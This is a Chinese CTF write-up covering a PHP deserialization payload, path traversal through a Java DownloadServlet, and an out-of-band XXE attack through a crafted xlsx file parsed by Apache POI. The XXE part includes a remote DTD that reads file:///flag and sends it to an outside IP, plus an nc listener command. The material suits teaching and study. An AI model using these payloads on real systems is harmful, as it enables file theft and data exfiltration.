标签:为我 src href nts system mapping 测试 man content
第一次网鼎杯,
就……哎,一言难尽。加油吧。
大佬萌说是PHP7.x的检测问题直接把protected改成public就行
O:11:"FileHandler":4:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}
经过简单测试发现就是Servlet+Jsp的集合
http://dede6dc721724e09803ef969e7fde1f73ec217cbe7b9401c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../web.xml
web.xml(配置文件,基本上不知道目录结构的话看这个就够了)
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
<servlet>
<description></description>
<display-name>UploadServlet</display-name>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>ListFileServlet</display-name>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>DownloadServlet</display-name>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>
其中的displayname也印证了显示的file_in_java为什么有upload.jsp。
welcome-file-list是默认的首页显示upload.jsp
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
再往下的
cn.abc.servlet.xxxxxxx都是包名顺着目录去找xxxxx.class(字节码)文件
/DownloadServlet
?filename=../../../classes/cn/abc/servlet/UploadServlet.class
?filename=../../../classes/cn/abc/servlet/ListFileServlet.class
?filename=../../../classes/cn/abc/servlet/UploadServlet.class
?filename=../../../../upload.jsp
?filename=../../../../META-INF/MANIFEST.MF
把所有的文件都下载下来了几乎,好像还有个list.jsp、message.jsp。都在源码的请求转发处体现了。
菜鸡的我没明白具体的getshell或者文件读取的方法(提一句),才把所有的都下载下来。
后来其他人说应该是xxe啥的,具体触发代码,在下方写出来。
xlsx文件也可xxe,新技能新姿势! (xxe白痴,xml不是我的强项,比赛时候就8会写了,昨个赛后研究了一下 )。
看了很多文章,比如:https://xz.aliyun.com/t/3357,看太多了篇了。
再往后就是复现时总是带不出内容,然后开始不停的问大师傅,终于明白了。
(mm狮虎萌)
filename.startsWith("excel-") && "xlsx".equals(fileExtName)
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}
新建xlsx文件,改后缀名为zip,解压修改[Content_Types].xml的内容。
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://174.1.57.28/file.dtd">
%remote;%int;%send;
]>
保存后把文件夹压缩回.zip,然后改回后缀为.xlsx。
在自己服务器的网站根目录新建一个,因为我是buu复现的,所以开buu的靶机即可,
apache服务默认开启的。
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM ‘http://174.1.57.28:2333?h3zh1=%file;‘>">
nc -lvvp 2333
上传excel-***.xlsx文件
一定要用excel-开头。有代码检测了。
上面提到过。
filename.startsWith("excel-") && "xlsx".equals(fileExtName)
成功带入flag内容
好像不大会,晚些复现……
标签:为我 src href nts system mapping 测试 man content
原文地址:https://www.cnblogs.com/h3zh1/p/12868014.html